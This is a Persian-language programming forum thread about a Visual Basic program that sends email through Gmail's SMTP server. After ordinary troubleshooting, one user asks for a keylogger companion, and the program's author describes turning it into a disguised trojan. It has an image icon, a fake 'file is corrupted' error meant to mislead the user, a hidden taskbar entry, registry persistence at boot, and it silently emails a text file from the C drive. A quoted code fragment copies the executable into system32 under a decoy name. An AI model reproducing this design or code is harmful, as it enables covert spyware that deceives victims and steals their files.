فرستادن ایمیل 100%

[ƒxmahdi]

با این برنامه می تونید به راحتی ایمیل بفرستید
البته در مواردی که حجم فایل بالا است برنامه خوب کار نمی کنه سعی می کنم این مشکلشو هم بگیرم فعلا اینو داشته باشید
البته شما بایستی یک ایمیل از سایت گوگل ( Gmail ) داشته باشید اگه ندارید آدرس ایمیلتونو را بگذارید من براتون دعوت نامه می فرستم من امتحان کردم به یاهو هم ایمیل می فرسته

[raha_20]

برنامه تون خطا میده روی این خط


SendEmailGmail = .Send

[tehran2009]

آقا دست درد نکنه مرسی اما من سند میلو واسه کیلاگر می خوام یعنی همچین کاری کنه
یک فایل txt رو که توی درایو c هستشو برام ایمیل کنه . اگه ممکنه راهنمایی کنید.

[parselearn]

البته در مواردی که حجم فایل بالا است برنامه خوب کار نمی کنه سعی می کنم این مشکلشو هم بگیرم فعلا اینو داشته باشید
البته شما بایستی یک ایمیل از سایت گوگل ( Gmail ) داشته باشید اگه ندارید آدرس ایمیلتونو را بگذارید من براتون دعوت نامه می فرستم من امتحان کردم به یاهو هم ایمیل می فرسته


یعنی با ایمیل یاهو نمیشه ارسال کرد
به چه دلیل؟

[perfeshnal]

به خاطر این که Gmail خاصیت POP3 رو به صورت رایگان در اختیار عموم قرار داده ولی YAHOO نه و فکر کنم باید این قابلیت رو خریداری کنید.

[ƒxmahdi]

می بخشید من یه یخورده کار داشتم الان اودم

برنامه تون خطا میده روی این خط


SendEmailGmail = .Send


شما بایستی یه ایمیل از سایت گوگل داشته باشید به هم خاطر گیر می ده براتون دعوت نامه می فرستم



آقا دست درد نکنه مرسی اما من سند میلو واسه کیلاگر می خوام یعنی همچین کاری کنه
یک فایل txt رو که توی درایو c هستشو برام ایمیل کنه . اگه ممکنه راهنمایی کنید.

خوب شما آدرس فایلتون را در txtAttach.txt قرار دهید بعد رویداد دکمه send را فراخوانی نمایید ( البته بایستی بقیه کادر ها پر باشند )

cmdSend.Value=True



یعنی با ایمیل یاهو نمیشه ارسال کرد
به چه دلیل؟


بدلیل اینکه از smtp گوگل برای ارسال ایمیل استفاده می کنه

[Mbt925]

ممنون دوست عزیز.

Gmail نیاز به دعوت نامه نداره.

[tehran2009]

fxmahdi جان اگه ممکنه برام دستکاریش می کنی که فایل test.txt که در درایو c هستشو برام بدون زدن دکمه send برام ایمیل کنه.

راستی اگه ممکنه جواب سوال منو که در http://barnamenevis.org/forum/showthread.php?t=96397
هستشو هم یه نگاهی بنداز
ممنون خدایی خیلی زحمتت دادم

[ƒxmahdi]

ممنون دوست عزیز.

Gmail نیاز به دعوت نامه نداره.
من قبلا یبار امتحان کرده بودم ولی نتونستم ایمیل بسازم حالا
برای ساختن Gmail به اینجا (http://mail.google.com/mail/signup?pc=leftnav&co=us) برید



fxmahdi جان اگه ممکنه برام دستکاریش می کنی که فایل test.txt که در درایو c هستشو برام بدون زدن دکمه send برام ایمیل کنه.

شما می خواهید مثل یک کیلاگر عمل کنه خوب چرا بدون زدن دکمه send
من برنامه را مخفی می کنم و کاری می کنم که با هر بار بالا آمدن سیستم این فایل را براتون بفرسته خوبه؟

[tehran2009]

خوبه 20

راستی اینم خوندی http://barnamenevis.org/forum/showthread.php?t=96397

[ƒxmahdi]

راستی اینم خوندی http://barnamenevis.org/forum/showthread.php?t=96397

در مورد این شرمنده نمی تونم کمک کنم

من آیکن برنامه را به آیکن یک عکس تغییر دادم
برنامه بعد از اولین اجراء یه پیام مبتنی بر اینکه فایل خراب است می ده ( برای گمراه کردن کاربر) بعد یک کی تو ریجستری برای هر بار اجراء شدن بعد از راه اندازی سیستم می سازه
در صورتی که فایل متنی در درایو c وجود داشت آن را ارسال کرده و برنامه بسته می شود
فقط شما تکست های مربوط به خودتونو در پنجره Properties کامل کرده و برنامه را کامپایل (exe) کنید

Reciever Address = آدرس ایمیلی که می خواهید ایمیل به آن ارسال شود
Sender Mail Address = آدرس ایمیل فرسنده ( Gmail )
Sender Mail Password = پسورد ایمیل فرستنده ( Gmail)

البته می بخشید باید توضیح می دادم

[tehran2009]

آقا دست درد نکنه اما به این کدها گیر می ده

Private Sub Form_Load()
If Dir("C:\test.txt") = "test.txt" Then
txtAttach.Text = "C:\test.txt"
Else
txtAttach.Text = ""
End If
App.TaskVisible = False
g = GetSetting("new1", "new2", "new")
If g = "" Then
X1 = Environ("WINDIR")
X1 = Left(X1, 3)
MsgBox "The File Is Curepted", vbCritical + vbOKOnly, "Error # 224"
FileCopy App.Path & "\" & App.EXEName & ".exe", X1 & "WINDOWS\system32\IME\TINTLGNT\TINTSTP.EXE"

مشکل کجاست به نظرتون !!!!!!!!!!!!!!!!!!!!

[ƒxmahdi]

در برنامه ای که من گذاشتم این مشکل نیست همه چیز درست کار می کنه من چند بار امتحان کردم اگه مربوط به برنامه خودتون است برنامه را بگذارید تا دوستان راهنمایی کنند
شاید من تا 2 روز دیگه نباشم فعلا ...

[tehran2009]

نه برنامه ای که شما دادیین اتچش مشکل داره به خاطر همین ارور می ده اگه ممکنه یه بار دیگه چک کنین بازم ممنون

راستی اگه ممکنه سورس SMTP که به کار بردینو برام بزارین ممنون می شم

[Hossis]

می بخشید من یه یخورده کار داشتم الان اودم
شما بایستی یه ایمیل از سایت گوگل داشته باشید به هم خاطر گیر می ده

بدلیل اینکه از smtp گوگل برای ارسال ایمیل استفاده می کنه
من از گوگل هم استفاده کردم ول در اون خطی که گفتند یعنی
SendEmailGmail = .Send
باز هم ارور می ده

[aria1o]

با سلام
دوست عزیزمون اگه یه چرخی تو سایت میزد متوجه می شد رو این پروژه قبلا کار کردیم ....
در ضمن با ساختن یاهو آی دی بروی سرور uk.yahoo.com به راحتی میشه از SMTP و POP3 استفاده کرد..
در ضمن یاهو این برنامه رو بصورت یک نرم افزار شناسایی میکنه و ایمیلای ارسال شده به یاهو رو 99% به پوشه SPAM هدایت میکنه ....

موفق باشید